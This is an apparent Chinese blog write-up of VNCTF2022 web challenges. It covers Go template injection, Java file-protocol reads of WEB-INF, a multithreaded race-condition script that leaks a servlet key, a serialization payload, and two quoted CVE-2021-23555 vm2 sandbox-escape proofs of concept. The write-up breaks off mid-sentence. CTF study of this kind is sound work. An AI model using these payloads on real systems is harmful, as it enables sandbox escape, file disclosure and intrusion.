VNCTF2022 web全复现

前端小游戏题,直接想到查看js源代码

在data.js文件中搜索到了关键词flag,且后面附着着一个base64编码的字符串,解码试试

得到flag,再将其url解码一下就行

 

Copy

VNCTF{Welcome_to_VNCTF2022}

gocalc0#

go语言的ssti,传入{{.}}指向当前的类,类似于this,然后输出源代码

 

Copy

import ( _ "embed" "fmt" "os" "reflect" "strings" "text/template" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "github.com/maja42/goval" ) //go:embed template/index.html var tpl string //go:embed main.go var source string type Eval struct { E string `json:"e" form:"e" binding:"required"` } func (e Eval) Result() (string, error) { eval := goval.NewEvaluator() result, err := eval.Evaluate(e.E, nil, nil) if err != nil { return "", err } t := reflect.ValueOf(result).Type().Kind() if t == reflect.Int { return fmt.Sprintf("%d", result.(int)), nil } else if t == reflect.String { return result.(string), nil } else { return "", fmt.Errorf("not valid type") } } func (e Eval) String() string { res, err := e.Result() if err != nil { fmt.Println(err) res = "invalid" } return fmt.Sprintf("%s = %s", e.E, res) } func render(c *gin.Context) { session := sessions.Default(c) var his string if session.Get("history") == nil { his = "" } else { his = session.Get("history").(string) } fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his)) t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his)) if err != nil { fmt.Println(err) c.String(500, "internal error") return } if err := t.Execute(c.Writer, map[string]string{ "s0uR3e": source, }); err != nil { fmt.Println(err) } } func main() { port := os.Getenv("PORT") if port == "" { port = "8080" } r := gin.Default() store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e")) r.Use(sessions.Sessions("session", store)) r.GET("/", func(c *gin.Context) { render(c) }) r.GET("/flag", func(c *gin.Context) { session := sessions.Default(c) session.Set("FLAG", os.Getenv("FLAG")) session.Save() c.String(200, "flag is in your session") }) r.POST("/", func(c *gin.Context) { session := sessions.Default(c) var his string if session.Get("history") == nil { his = "" } else { his = session.Get("history").(string) } eval := Eval{} if err := c.ShouldBind(&eval); err == nil { his = his + eval.String() + "<br/>" } session.Set("history", his) session.Save() render(c) }) r.Run(fmt.Sprintf(":%s", port)) } ] = invalid

 

Copy

package main import ( _ "embed" "fmt" "os" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" ) func main() { port := os.Getenv("PORT") if port == "" { port = "8088" } r := gin.Default() store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e")) r.Use(sessions.Sessions("session", store)) r.GET("/flag", func(c *gin.Context) { session := sessions.Default(c) c.String(200, session.Get("FLAG").(string)) }) r.Run(fmt.Sprintf(":%s", port)) }

go语言还不是很看得懂,但是大概能够才出来,将解析flag的关键代码带出来放在本地,然后将在题目环境里面的得到的flag让在本地进行解析,也就是

easyJ4va#

信息收集#

打开提示file?

这里又说了输入一个url

后面发现是使用file协议

然后就是查看java字节码文件的目录

 

Copy

file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF 这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了 file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF

以下为读文件的payload

 

Copy

file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes controller entity User.class servlet FileServlet.class HelloWorldServlet.class util Secr3t.class SerAndDe.class UrlUtil.class

 

Copy

file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class

使用jadx反编译

 

Copy

HelloWorldServlet.class package servlet; import entity.User; import java.io.IOException; import java.util.Base64; import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import util.Secr3t; import util.SerAndDe; @WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"}) public class HelloWorldServlet extends HttpServlet { private volatile String age = "666"; private volatile String height = "180"; private volatile String name = "m4n_q1u_666"; User user; public void init() throws ServletException { this.user = new User(this.name, this.age, this.height); } /* access modifiers changed from: protected */ public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String reqName = req.getParameter("name"); if (reqName != null) { this.name = reqName; } if (Secr3t.check(this.name)) { Response(resp, "no vnctf2022!"); } else if (Secr3t.check(this.name)) { Response(resp, "The Key is " + Secr3t.getKey()); } } /* access modifiers changed from: protected */ public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String key = req.getParameter("key"); String text = req.getParameter("base64"); if (!Secr3t.getKey().equals(key) || text == null) { Response(resp, "KeyError"); return; } if (this.user.equals((User) SerAndDe.deserialize(Base64.getDecoder().decode(text)))) { Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString()); } } private void Response(HttpServletResponse resp, String outStr) throws IOException { ServletOutputStream out = resp.getOutputStream(); out.write(outStr.getBytes()); out.flush(); out.close(); } }

也可以用IDEA反编译

主要看hello那里

可以看到要拿到flag,必须要满足这两个if条件,一个是要传入密钥key,一个是反序列化一个一样的user对象

 

Copy

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String key = req.getParameter("key"); String text = req.getParameter("base64"); if (Secr3t.getKey().equals(key) && text != null) { Decoder decoder = Base64.getDecoder(); byte[] textByte = decoder.decode(text); User u = (User)SerAndDe.deserialize(textByte); if (this.user.equals(u)) { this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString()); } } else { this.Response(resp, "KeyError"); } }

所以后面就要就要完成两步,一是拿到密钥key,而是反序列化

获取key#

首先我们跟进一下Secr3t类看一看

 

Copy

// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package util; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import org.apache.commons.lang3.RandomStringUtils; public class Secr3t { private static final String Key = RandomStringUtils.randomAlphanumeric(32); private static StringBuffer Flag; private Secr3t() { } public static String getKey() { return Key; } public static StringBuffer getFlag() { Flag = new StringBuffer(); InputStream in = null; try { in = Runtime.getRuntime().exec("/readflag").getInputStream(); } catch (IOException var12) { var12.printStackTrace(); } BufferedReader read = new BufferedReader(new InputStreamReader(in)); try { String line = null; while((line = read.readLine()) != null) { Flag.append(line + "\n"); } } catch (IOException var13) { var13.printStackTrace(); } finally { try { in.close(); read.close(); } catch (IOException var11) { var11.printStackTrace(); System.out.println("Secr3t : io exception!"); } } return Flag; } public static boolean check(String checkStr) { return "vnctf2022".equals(checkStr); } }

然后看到doGet那里可以获取key

 

Copy

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String reqName = req.getParameter("name"); if (reqName != null) { this.name = reqName; } if (Secr3t.check(this.name)) { this.Response(resp, "no vnctf2022!"); } else { if (Secr3t.check(this.name)) { this.Response(resp, "The Key is " + Secr3t.getKey()); } } }

跟进Secr3t.check

就是一个比较传入的参数为不为vnctf2022

然后回到doGet这里,我们要获取key,就要绕过第一个if,即this.name先不为vnctf2022,然后再下一个if下又为vnctf2022,这里就接触到一个线程安全的漏洞,就是servlet在收到请求的时候不会每次请求都实例化一个对象,这样太消耗资源了,所以servlet处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象,我们再看一下这个deGet函数

它判断的是实例化对象的属性,也就是说只要我们在进入第一个if的时候,用另外一个线程让它的name属性不为vnctf2022,然后当进入第二个线程的时候,在操作它变成vnctf2022,那不就进入了第二个if条件内吗,所以就措一个多线程脚本

 

Copy

import time import requests from threading import Thread url = 'http://d7546473-9645-4fac-af9d-d0eebea2d5cc.node4.buuoj.cn:81/evi1' payload1 = "?name=vnctf2022" payload2 = "?name=pysnow" ses = requests.session() def get(session, payload): while True: res = session.get(url=url+payload) print(url+payload) print(res.text) if "key" in res.text: print(res.text) time.sleep(0.1) if __name__ == '__main__': for i in range(2): Thread(target=get, args=(ses, payload1,)).start() for j in range(2): Thread(target=get, args=(ses, payload2,)).start()

这里注意一个点,就是不要跑得太快了,BUU上的环境你跑考了它就会给你报429,后面就相当于没有传进去参数,我这里是只开了四个线程,两个判断正确的线程,两个判断错误的线程,再加上一个时间延时

最后拿到key

 

Copy

fpXvAgpKpgl8v0eRYpUBPkleBqqhRBRY

反序列化#

然后继续看到doPost这里

这里就是将传入的text参数进行base64解码并转化为字节溜形式,然后传入SerAndDe.deserialize()方法进行处理,看这个名字猜测这个SerAndDe.deserialize的作用就是反序列化,这里可以不用去审这个方法,可以先试着直接反序列化,等不成功的时候再去审代码,或者说直接使用SerAndDe.serialize()方法

然后就是写payload了,将User和SerAndDe的源码分别提取出来,然后再另外写一个类去导入它们,就行了

 

Copy

import entity.User; import java.util.Base64; import util.SerAndDe; public class testSerializable { public static void main(String[] args){ User user = new User("m4n_q1u_666","666","180"); Base64.Encoder encoder = Base64.getEncoder(); byte[] textByte = SerAndDe.serialize(user); String text = encoder.encodeToString(textByte); System.out.println(text); } }

然后执行

发现并打不通,看了一下wp发现,这个height属性加了transient修饰,不能直接反序列化

可以用题目给的代码看一下反序列化出的结果

 

Copy

String text1="rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAgACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2Ng=="; Base64.Decoder decoder = Base64.getDecoder(); byte[] textByte1 = decoder.decode(text1); User u = (User)SerAndDe.deserialize(textByte1); System.out.println(u);

发现反序列化的结果为null

所以我们就要考虑怎么绕过这个transient修饰

这里可以直接参照https://blog.csdn.net/u010156024/article/details/48345257,重写一下writeObject方法

 

Copy

private void writeObject(ObjectOutputStream s) throws IOException{ s.defaultWriteObject(); s.writeObject(this.height); }

newcalc0#

非预期#

一道nodejs的题,给出了源码

 

Copy

const express = require("express"); const path = require("path"); const vm2 = require("vm2"); const app = express(); app.use(express.urlencoded({ extended: true })); app.use(express.json()); app.use(express.static("static")); const vm = new vm2.NodeVM(); app.use("/eval", (req, res) => { const e = req.body.e; if (!e) { res.send("wrong?"); return; } try { res.send(vm.run("module.exports="+e)?.toString() ?? "no"); } catch (e) { console.log(e) res.send("wrong?"); } }); app.use("/flag", (req, res) => { if(Object.keys(Object.prototype).length > 0) { Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]); res.send(process.env.FLAG); } else { res.send(Object.keys(Object.prototype)); } }) app.use("/source", (req, res) => { let p = req.query.path || "/src/index.js"; p = path.join(path.resolve("."), path.resolve(p)); console.log(p); res.sendFile(p); }); app.use((err, req, res, next) => { console.log(err) res.redirect("index.html"); }); app.listen(process.env.PORT || 8888);

简单的审一下源码,可以发现这里有三个路由

eval: 用于执行代码,但是是在vm2虚拟机中执行的,所以就要考虑怎么绕过这个虚拟机

flag: 用于输出flag,但是要满足条件,这里马上反应到原型链污染

source: 用于查看源码,而且这里也可以通过传入path参数,来查看文件

这里给出了提示package.json,应该就是叫我们查看package.json文件,那么我们首先访问一下

/source?path=/package.json

 

Copy

{ "name": "name", "version": "0.1.1", "description": "Description", "private": true, "main": "src/index.js", "scripts": { "start:single": "node src/index.js", "start": "pm2 start src/index.js -i 1", "log": "pm2 logs -f" }, "dependencies": { "express": "^4.17.1", "pm2": "^4.5.6", "vm2": "^3.9.5" }, "devDependencies": { "@types/express": "^4.17.8", "@types/node": "^14.10.1", "prettier": "^2.0.5" } }

这里主要看一下依赖那一栏,vm2使用的版本,然后找一下有没有相关的去绕过vm2^3.9.5的漏洞

Sandbox Bypass in vm2 | CVE-2021-23555 | Snyk

PoC 1#

 
 

Copy

// tested on Node.js 16.10.0 const {VM} = require('vm2'); vmInstance = new VM(); console.log(vmInstance.run(` function foo(ref) { new Error().stack; } let obj = {}; Object.defineProperty(Object.prototype, 0, { set: function () { foo(this); try { obj[0] = 0; } catch (e) { e.__proto__.__proto__.__proto__.polluted = 'success'; } } }) `)); console.log(polluted);

PoC 2#

 
 

Copy

// tested with Node.js 17.1.0 and latest vm2 version // generated from "/home/cris/work/js-isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator const {VM} = require('vm2'); vmInstance = new VM(); vmInstance.run(` function getRootPrototype(obj) { while (obj.__proto__) { obj = obj.__proto__; } return obj; } function stack(ref, cb) { let stack = new Error().stack; stack.match(/checkReferenceRecursive/g); } try { global.temp0 = RegExp.prototype.__defineGetter__('global', () => { getRootPrototype(this); stack(this); return true; }), function functionInvocationAnalysis(r) { stack(r); }(temp0), global.temp0; RegExp.prototype.exec = function (str) { stack(arguments); }; } catch (e) { // payload getRootPrototype(e).polluted = "success"; } `);

由上图可知,要满足Object.keys(Object.prototype).length > 0,就可以改变Object.prototype的值,根据js原生链调用的关系,


                
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值